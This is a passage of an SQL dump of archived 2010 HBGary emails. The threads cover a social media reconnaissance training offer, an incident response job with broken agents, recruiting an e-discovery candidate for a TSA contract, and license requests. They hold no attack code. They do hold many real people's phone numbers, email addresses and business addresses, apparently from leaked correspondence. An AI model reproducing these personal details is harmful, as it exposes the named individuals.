719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n>\r\n> --\r\n> Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>\r\n> Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n> 916-481-1460\r\n>\r\n> Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n> https://www.hbgary.com/community/phils-blog/\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8039,'aaron_hbgary_com/8039.html'),(11487,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008660.M24169P14101Q6342.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Social Media / Info Recon Training','Can you send me a copy of the response you sent Kevin?\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Kevin Spease \r\nDate: Wed, Sep 8, 2010 at 1:55 PM\r\nSubject: Re: Social Media / Info Recon Training\r\nTo: Ted Vera \r\nCc: Mark Spencer , Barr Aaron \r\n\r\n\r\nWe can help promote it.\r\nIt would be no problem to put it in our email blast and place a few\r\nfliers on the table at the meeting.  We don\'t charge a fee for that.\r\nAnd, given HBGary\'s support earlier this year, it won\'t be a problem.\r\n\r\nBut I do have some comments / questions about the program overall...\r\n\r\n1) From the brochure, I get the impression that the course deals with\r\nan enterprise being the primary target with the employee being an\r\nunwitting dupe (attacking the company THRU the employee).  Now that\r\ncompanies are presenting themselves in social media, are they making\r\ncritical errors that need remediation / consideration?  Is that\r\ncovered in the course?\r\n2) \"Risk\" is always a discussion that makes people bristle (at least\r\nit does me due to the subjective nature).  However, is there a way to\r\ndetermine a company\'s \"risk profile\" (How \"exposed\" am I?) and is that\r\ncovered in the course?\r\n3) I see several course delivery methods.  What did you envision for\r\nthe courses in Sacramento?  On ground at the HBGary facility?\r\n\r\nIt is an interesting course - I think it would be good.  I think the\r\nprimary issue is helping companies to answer the \"So What\" question.\r\nMy general impression is that most companies believe there is very\r\nlittle they can do.  So, it seems that calling them to action will be\r\na challenge.  If they think, \"who cares\" and \"nothing I can do about\r\nit\" then you would have a tough sell... Right?\r\n\r\nOn Wed, Sep 8, 2010 at 11:22 AM, Ted Vera  wrote:\r\n>\r\n> This time with attachment...\r\n>\r\n> On Wed, Sep 8, 2010 at 12:20 PM, Ted Vera  wrote:\r\n> > Hi Mark & Kevin\r\n> >\r\n> > HBGary Federal would like to offer a 20% discount to ISSA Colorado\r\n> > Springs and Sacramento members for our Social Media & Information\r\n> > Reconnaissance training between now and the end of this year.  Draft\r\n> > brochure attached.  I\'d appreciate any comments/feedback/suggestions.\r\n> > Is this something you can help promote?\r\n> >\r\n> > Thanks,\r\n> > Ted\r\n> >\r\n> > --\r\n> > Ted Vera  |  President  |  HBGary Federal\r\n> > Office 916-459-4727x118  | Mobile 719-237-8623\r\n> > www.hbgary.com  |  ted@hbgary.com\r\n> >\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2111,'aaron_hbgary_com/2111.html'),(11488,'2010-09-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008660.M242391P14101Q6343.eml','\"Ted Vera\" <ted@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','RE: Incident Response','Is \"borked\" a technical term?\r\n\r\nIf there is a problem with the current AD bits I need to know because I have\r\nan eval prospect about to download it.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, September 08, 2010 7:00 PM\r\nTo: Phil Wallisch\r\nCc: mark@hbgary.com; Barr Aaron; Bob Slapnik\r\nSubject: Re: Incident Response\r\n\r\nThat\'s interesting.  Mark just had to unbork our AD server today after\r\nupgrading it last Friday...\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 4:57 PM, Phil Wallisch  wrote:\r\n> Yes.  It\'s been there since April.  I upgraded over the weekend and now\r\nit\'s\r\n> borked.  At least some of the agents are borked.\r\n>\r\n> On Wed, Sep 8, 2010 at 6:55 PM, Ted Vera  wrote:\r\n>>\r\n>> Do they have an AD server already installed in their environment?\r\n>>\r\n>> On Wed, Sep 8, 2010 at 4:53 PM, Phil Wallisch  wrote:\r\n>> > Thanks Ted.  It is remote access work.\r\n>> >\r\n>> > I\'m not sure how I would leverage you guys yet.  I\'m still in\r\ndeployment\r\n>> > mode.  Well..fix deployment mode.  I don\'t want to tie you guys up.  If\r\n>> > you\'re free next week then great.\r\n>> >\r\n>> > On Wed, Sep 8, 2010 at 6:28 PM, Ted Vera  wrote:\r\n>> >>\r\n>> >> Hi Phil,\r\n>> >>\r\n>> >> Mark and I are able and willing to support if needed.  Both of us can\r\n>> >> install & configure active defense, work with customer system admin to\r\n>> >> deploy agents, kick off queries, and perform basic malware analysis\r\n>> >> using Responder Pro.  If you think this could save you time / be of\r\n>> >> benefit please let us know ASAP so we can plan accordingly.  Where is\r\n>> >> the place of performance?\r\n>> >>\r\n>> >> Ted\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >> On Wed, Sep 8, 2010 at 11:27 AM, Phil Wallisch \r\nwrote:\r\n>> >> > Yes and I need to talk about this scope.  Especially us doing\r\n>> >> > \"forensics\"\r\n>> >> > and determining root cause.\r\n>> >> >\r\n>> >> > On Wed, Sep 8, 2010 at 1:24 PM, Bob Slapnik  wrote:\r\n>> >> >>\r\n>> >> >> Ted,\r\n>> >> >>\r\n>> >> >> Phil scoped the work.  We sent them a proposal. It is only for 106\r\n>> >> >> hours\r\n>> >> >> total.  We are hoping to ink it soon, maybe today.  It will be up\r\nto\r\n>> >> >> Phil\r\n>> >> >> if\r\n>> >> >> and how much he uses HBG Fed.\r\n>> >> >>\r\n>> >> >> Bob\r\n>> >> >>\r\n>> >> >>\r\n>> >> >> -----Original Message-----\r\n>> >> >> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> >> >> Sent: Wednesday, September 08, 2010 12:26 PM\r\n>> >> >> To: Bob Slapnik\r\n>> >> >> Subject: Incident Response\r\n>> >> >>\r\n>> >> >> Hi Bob,\r\n>> >> >>\r\n>> >> >> Any updates on the incident response engagement you mentioned\r\n>> >> >> yesterday?\r\n>> >> >>\r\n>> >> >> Ted\r\n>> >> >>\r\n>> >> >\r\n>> >> >\r\n>> >> >\r\n>> >> > --\r\n>> >> > Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>> >> >\r\n>> >> > 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>> >> >\r\n>> >> > Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n>> >> > 916-481-1460\r\n>> >> >\r\n>> >> > Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n>> >> > https://www.hbgary.com/community/phils-blog/\r\n>> >> >\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >> --\r\n>> >> Ted Vera  |  President  |  HBGary Federal\r\n>> >> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> >> www.hbgary.com  |  ted@hbgary.com\r\n>> >\r\n>> >\r\n>> >\r\n>> > --\r\n>> > Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>> >\r\n>> > 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>> >\r\n>> > Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n>> > 916-481-1460\r\n>> >\r\n>> > Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n>> > https://www.hbgary.com/community/phils-blog/\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n>\r\n> --\r\n> Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>\r\n> Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n> 916-481-1460\r\n>\r\n> Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n> https://www.hbgary.com/community/phils-blog/\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/08/10\r\n13:41:00\r\n\r\n',11547,'aaron_hbgary_com/11547.html'),(11489,'2010-09-09','sdshook@yahoo.com','/aaron@hbgary.com/new/1297008660.M465560P14101Q6344.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: E-Discovery','Chris Coulter is the guy for youChris.coulter@skoutforensics.comSent via BlackBerry from T-MobileFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 8 Sep 2010 09:48:26 -0400To: Shane Shook&lt;sdshook@yahoo.com&gt;Subject: Re: E-DiscoveryJust talked to the prime for the TSA proposal we are going after. &nbsp;The company that was putting up the person for this position bagged out at the last minute. &nbsp;We will be non-compliant if we don\'t find a qualified candidate for e-discovery, expert witness, chain of custody. &nbsp;Anyone that you might know, even if short term that has these skills we could bring them on and submit them even short term (or long-term) on the contract.Thanks,AaronOn Sep 8, 2010, at 12:13 AM, Shane Shook wrote:Hi Aaron - still traveling, back in Malaysia for a couple of weeks again.&nbsp;I know quite a few people who might be able to help - where do you need the help?&nbsp;- ShaneFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;To:&nbsp;Shane Shook &lt;sdshook@yahoo.com&gt;Sent:&nbsp;Tue, September 7, 2010 7:02:07 PMSubject:&nbsp;E-DiscoveryHi Shane,How was your trip?&nbsp; Turns out everything went great for the Oracle PenTest we conducted.Have a question.&nbsp; By chance you don\'t know anyone with E-discovery experience, TS clearance that would like to consider a contingent offer to work E-discovery for TSA? :)Thanks,Aaron\r\n',8301,'aaron_hbgary_com/8301.html'),(11490,'2010-09-09','\"Chris Coulter\" <chris.coulter@SkoutForensics.com>','/aaron@hbgary.com/new/1297008660.M991312P14101Q6345.eml','Aaron@hbgary.com,Aaron@hbgary.com','FW: Need an ediscovery person in your area to support hbgary on a tsa','\r\n\r\nFW: Need an ediscovery person in your area to support hbgary on a tsa\r\n\r\n\r\nHello Aaron, \r\n\r\n&nbsp;My name is Chris Coulter Co-Founder of Skout Forensics and a close contact of Shane Shook, as well an acquaintance of Penny and Greg (HBGary and Skout Forensics share an OEM agreement). Shane reached out to me regarding a requirement for an eDiscovery individual to assist with the TSA.\r\n\r\nWhile I have been devoted to Skout Forensics over the past several months, I now have a considerable amount of down-time ahead of me while a key product of ours is being developed. I have actually been pursuing contracts over the past couple of weeks. I have a broad understanding of most systems infrastructures and the security issues that exist. I am familiar with HBGary\'s Suite of products and have working knowledge of them. Specifically though, my focus is Computer Forensics and the eDiscovery lifecycle. I am available anytime tonight or tomorrow if you wish to follow up. Also for your reference I have attached my resume. \r\n\r\nThank you, \r\n\r\nChris Coulter\r\n\r\nSkout Forensics\r\nMobile: 202.407.1730\r\nOffice: 703.755.0001\r\n1915-B Chain Bridge Rd. #1\r\nMcLean, VA 22102\r\nChris.Coulter@SkoutForensics.com\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n------ Forwarded Message\r\nFrom: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nReply-To: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nDate: Thu, 9 Sep 2010 00:01:52 +0000\r\nTo: Chris Coulter &lt;Chris.Coulter@SkoutForensics.com&gt;\r\nSubject: Re: Need an ediscovery person in your area to support hbgary on a tsagig\r\n\r\nI\'m sure either you or your friend would be good - call aaron barr at hbgary and share the details\r\n\r\nAaron@hbgary.com \r\n\r\n\r\n- Shane \r\n------Original Message------\r\nFrom: Chris Coulter\r\nTo: Shane Shook\r\nSubject: Re: Need an ediscovery person in your area to support hbgary on a tsagig\r\nSent: Sep 8, 2010 7:02 AM\r\n\r\nHey Shane,\r\n&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Is this something I could do? Actually started pursuing contracts\r\nthrough Kaylan\'s company. Skout is very slow for the time being or until\r\ndevelopment is completed, we are 1 month development checkpoints. The kit is\r\non autopilot now, the big sales are almost finalized and the small-one off\r\nsales are being done by the distributors.\r\n\r\n&nbsp;If not a close friend who I think left Stroz might be doing some\r\nindependent work currently. I will check and see.\r\n\r\n\r\nAlso just got off the phone with Tomas Castrajon from Deloitte (now General\r\nDynamics), mentioned you specifically when I brought up PwC.\r\n\r\n\r\n\r\n\r\nSent via BlackBerry from T-Mobile\r\n\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n',5248,'aaron_hbgary_com/5248.html'),(11491,'2010-09-09','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008661.M225845P14101Q6346.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reqs','\r\n\r\n\r\n\r\n\r\nReqs\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nDo you know if any of the folks you know have applied for any of the open reqs?\r\n\r\nJust checking to see if anyone is interested.\r\n\r\nChris \r\n\r\n\r\n\r\n',12541,'aaron_hbgary_com/12541.html'),(11492,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008661.M825330P14101Q6347.eml','\"Bill Luti\" <wluti@digitalmanagement.com>','Fwd: Need an ediscovery person in your area to support hbgary on a 	tsa','Sent from my iPhoneBegin forwarded message:From: Chris Coulter &lt;chris.coulter@SkoutForensics.com&gt;\r\nTo: &quot;Aaron@hbgary.com&quot; &lt;Aaron@hbgary.com&gt;Cc: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nSubject: FW: Need an ediscovery person in your area to support hbgary on a tsaHello Aaron,  My name is Chris Coulter Co-Founder of Skout Forensics and a close contact\r\nof Shane Shook, as well an acquaintance of Penny and Greg (HBGary and SkoutForensics share an OEM agreement). Shane reached out to me regarding arequirement for an eDiscovery individual to assist with the TSA.\r\nWhile I have been devoted to Skout Forensics over the past several months, Inow have a considerable amount of down-time ahead of me while a key productof ours is being developed. I have actually been pursuing contracts over the\r\npast couple of weeks. I have a broad understanding of most systemsinfrastructures and the security issues that exist. I am familiar withHBGary&#39;s Suite of products and have working knowledge of them. Specifically\r\nthough, my focus is Computer Forensics and the eDiscovery lifecycle. I amavailable anytime tonight or tomorrow if you wish to follow up. Also foryour reference I have attached my resume.\r\nThank you, Chris CoulterSkout ForensicsMobile: 202.407.1730Office: 703.755.00011915-B Chain Bridge Rd. #1\r\nMcLean, VA 22102Chris.Coulter@SkoutForensics.com\r\n------ Forwarded MessageFrom: Shane Shook &lt;sdshook@yahoo.com&gt;Reply-To: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nDate: Thu, 9 Sep 2010 00:01:52 +0000To: Chris Coulter &lt;Chris.Coulter@SkoutForensics.com&gt;Subject: Re: Need an ediscovery person in your area to support hbgary on a\r\ntsagigI&#39;m sure either you or your friend would be good - call aaron barr at hbgaryand share the detailsAaron@hbgary.com \r\n- Shane ------Original Message------From: Chris CoulterTo: Shane ShookSubject: Re: Need an ediscovery person in your area to support hbgary on a\r\ntsagigSent: Sep 8, 2010 7:02 AMHey Shane,        Is this something I could do? Actually started pursuing contractsthrough Kaylan&#39;s company. Skout is very slow for the time being or until\r\ndevelopment is completed, we are 1 month development checkpoints. The kit ison autopilot now, the big sales are almost finalized and the small-one offsales are being done by the distributors.\r\n If not a close friend who I think left Stroz might be doing someindependent work currently. I will check and see.Also just got off the phone with Tomas Castrajon from Deloitte (now General\r\nDynamics), mentioned you specifically when I brought up PwC.Sent via BlackBerry from T-Mobile\r\n------ End of Forwarded Message\r\n',6698,'aaron_hbgary_com/6698.html'),(11493,'2010-09-09','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008662.M369786P14101Q6349.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Hart has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Hart are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Hart Rossman \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           CTO, Cyber Security Solutions at SAIC\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Hart\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Information Technology and Services Industry \r\n                        \r\n                        \r\n                          HART.M.ROSSMAN@saic.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Hart\'s Connections (447) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Richard Dale\r\n                ,\r\n                  Investment professional at Sigma Partners Venture Capital\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Ron Keesing\r\n                ,\r\n                  Computer Scientist, Research Director\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jason Goldberg\r\n                ,\r\n                  Founder, CEO at fabulis\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Salim Lakhani\r\n                ,\r\n                  CEO &amp; President, WebStandard\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Hart\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Robert H. Smith School of Business\r\n                    \r\n                      Hart works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     SAIC\r\n                    \r\n                      Hart works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Hewlett-Packard\r\n                    \r\n                      Hart knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Oracle\r\n                    \r\n                      Hart knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',12642,'aaron_hbgary_com/12642.html'),(11494,'2010-09-09','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297008662.M634439P14101Q6350.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev - licenses','Hi Aaron,Just wanted to touch base on this, hopefully we can sort this out Thursday?Thanks,ArnavOn 2010-09-07, at 4:43 PM, Arnav Manchanda wrote:Hi Aaron,Thanks for this. The work we need your product for is for a large US based telco, and we envision it becoming a client of SecDev/HBGary as part of a larger set of managed security services. Thus we would like to be able to price accordingly to entice the client to use the product as part of their managed service.Best wishes,Arnav\r\n\r\nOn 2010-09-07, at 2:24 PM, Aaron Barr wrote:Rafal. &nbsp;I am very sorry to hear of your circumstances. &nbsp;I understand. &nbsp;I had twins in the NICU for 3 months when they were born, hardest time of my life.Arnav. &nbsp;I will get that quote out to you asap.Let me know when you are ready to reengage. &nbsp;We have started down a social media path that you might find interesting. &nbsp;Attached is a brochure for our social media training. &nbsp;For some organizations we also conduct social media penetration tests and provide information exposure data and wrap the material into the training. &nbsp;So far that is going well for us.Aaron&lt;HBGary Federal Social Media Training Brochure.pdf&gt;On Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:Dear Aaron,Hope all is well. Please excuse the silence from our side - Rafal\'s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal\'s time for August and this month has been heavily sidetracked.We are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you\'ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?On the collaboration side, we are looking to reengage with you and the team at HBGary soon.Best wishes,ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n',528,'aaron_hbgary_com/528.html'),(11495,'2010-09-09','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008662.M80154P14101Q6348.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Incident Response','Don&#39;t worry about this situation.  It&#39;s a very long story.On Wed, Sep 8, 2010 at 7:12 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nIs &quot;borked&quot; a technical term?\r\n\r\nIf there is a problem with the current AD bits I need to know because I have\r\nan eval prospect about to download it.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, September 08, 2010 7:00 PM\r\nTo: Phil Wallisch\r\nCc: mark@hbgary.com; Barr Aaron; Bob Slapnik\r\nSubject: Re: Incident Response\r\n\r\nThat&#39;s interesting.  Mark just had to unbork our AD server today after\r\nupgrading it last Friday...\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 4:57 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n&gt; Yes.  It&#39;s been there since April.  I upgraded over the weekend and now\r\nit&#39;s\r\n&gt; borked.  At least some of the agents are borked.\r\n&gt;\r\n&gt; On Wed, Sep 8, 2010 at 6:55 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt; Do they have an AD server already installed in their environment?\r\n&gt;&gt;\r\n&gt;&gt; On Wed, Sep 8, 2010 at 4:53 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt; Thanks Ted.  It is remote access work.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; I&#39;m not sure how I would leverage you guys yet.  I&#39;m still in\r\ndeployment\r\n&gt;&gt; &gt; mode.  Well..fix deployment mode.  I don&#39;t want to tie you guys up.  If\r\n&gt;&gt; &gt; you&#39;re free next week then great.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; On Wed, Sep 8, 2010 at 6:28 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Hi Phil,\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Mark and I are able and willing to support if needed.  Both of us can\r\n&gt;&gt; &gt;&gt; install &amp; configure active defense, work with customer system admin to\r\n&gt;&gt; &gt;&gt; deploy agents, kick off queries, and perform basic malware analysis\r\n&gt;&gt; &gt;&gt; using Responder Pro.  If you think this could save you time / be of\r\n&gt;&gt; &gt;&gt; benefit please let us know ASAP so we can plan accordingly.  Where is\r\n&gt;&gt; &gt;&gt; the place of performance?\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; Ted\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; On Wed, Sep 8, 2010 at 11:27 AM, Phil Wallisch &lt;phil@hbgary.com&gt;\r\nwrote:\r\n&gt;&gt; &gt;&gt; &gt; Yes and I need to talk about this scope.  Especially us doing\r\n&gt;&gt; &gt;&gt; &gt; &quot;forensics&quot;\r\n&gt;&gt; &gt;&gt; &gt; and determining root cause.\r\n&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt; &gt; On Wed, Sep 8, 2010 at 1:24 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; &gt;&gt; Ted,\r\n&gt;&gt; &gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; &gt;&gt; Phil scoped the work.  We sent them a proposal. It is only for 106\r\n&gt;&gt; &gt;&gt; &gt;&gt; hours\r\n&gt;&gt; &gt;&gt; &gt;&gt; total.  We are hoping to ink it soon, maybe today.  It will be up\r\nto\r\n&gt;&gt; &gt;&gt; &gt;&gt; Phil\r\n&gt;&gt; &gt;&gt; &gt;&gt; if\r\n&gt;&gt; &gt;&gt; &gt;&gt; and how much he uses HBG Fed.\r\n&gt;&gt; &gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; &gt;&gt; Bob\r\n&gt;&gt; &gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; &gt;&gt; -----Original Message-----\r\n&gt;&gt; &gt;&gt; &gt;&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt;&gt; &gt;&gt; &gt;&gt; Sent: Wednesday, September 08, 2010 12:26 PM\r\n&gt;&gt; &gt;&gt; &gt;&gt; To: Bob Slapnik\r\n&gt;&gt; &gt;&gt; &gt;&gt; Subject: Incident Response\r\n&gt;&gt; &gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; &gt;&gt; Hi Bob,\r\n&gt;&gt; &gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; &gt;&gt; Any updates on the incident response engagement you mentioned\r\n&gt;&gt; &gt;&gt; &gt;&gt; yesterday?\r\n&gt;&gt; &gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; &gt;&gt; Ted\r\n&gt;&gt; &gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt; &gt; 